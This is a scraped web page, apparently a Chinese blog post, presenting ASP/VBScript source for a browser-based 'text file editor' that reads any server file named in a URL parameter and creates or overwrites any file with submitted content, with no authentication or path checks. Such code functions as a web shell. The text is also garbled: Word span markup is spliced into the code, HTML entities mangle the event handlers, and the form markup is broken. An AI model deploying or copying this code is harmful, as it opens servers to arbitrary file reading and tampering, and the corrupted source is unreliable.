newdoc.asp<%@ Language=Vbscript %>撼雪喷云之文本文件编辑器<%dim x if Request("type")="save" thenx = 1end if%> <% if not len(request("doc"))=0 then%> 文档: <%=Request.querystring("doc")%> <%else%> 文档:未命名 <% end if%> 宋体黑体隶书华文新魏文鼎中特广告体Times New RomanSystem 字体> 8pt9pt10pt<%for a=11 to 100%><%=a%>pt<%next %> 字号> 粗体> 斜体> 关闭窗口'>>> 保存文件" > <%if request("ch")=1 then<BR>Response.Write request("textarea1")<BR>end if<BR>if len(request("text1"))>0 then<BR>if OBJECT1.FileExists(Request("text")) then<BR>OBJECT1.OpenTextFile(request("doc")).Write request("textarea1")<BR>else<BR>OBJECT1.CreateTextFile (request("text1"),true).Write Request("textarea1")<BR>end if<BR>end if<BR>if not Request.QueryString("doc")="" and not Request("ch")=1 then<BR>if OBJECT1.FileExists(Request.QueryString("doc")) then<BR>Response.Write OBJECT1.OpenTextFile(Request.QueryString("doc")).ReadAll<BR>else<BR>Response.Write "</SPAN><SPAN '; mso-hansi-font-family: ' '; mso-bidi-font-size: 9.0pt">噢</SPAN><SPAN lang=EN-US '; mso-bidi-font-size: 9.0pt">,</SPAN><SPAN '; mso-hansi-font-family: ' '; mso-bidi-font-size: 9.0pt">没有文件存在</SPAN><SPAN lang=EN-US '; mso-bidi-font-size: 9.0pt">!"<BR>end if<BR>end if<BR>%><BR>aspnp.asp<%@ Language=Vbscript %>撼雪喷云之文本文件编辑器
打开 LANGUAGE=&＃106avascript &＃111nclick="return submit1_&＃111nclick()">
新建 LANGUAGE=&＃106avascript &＃111nclick="return new_&＃111nclick()"> 退出 LANGUAGE=&＃106avascript &＃111nclick="return button2_&＃111nclick()">
[1]
京公网安备 11010802041100号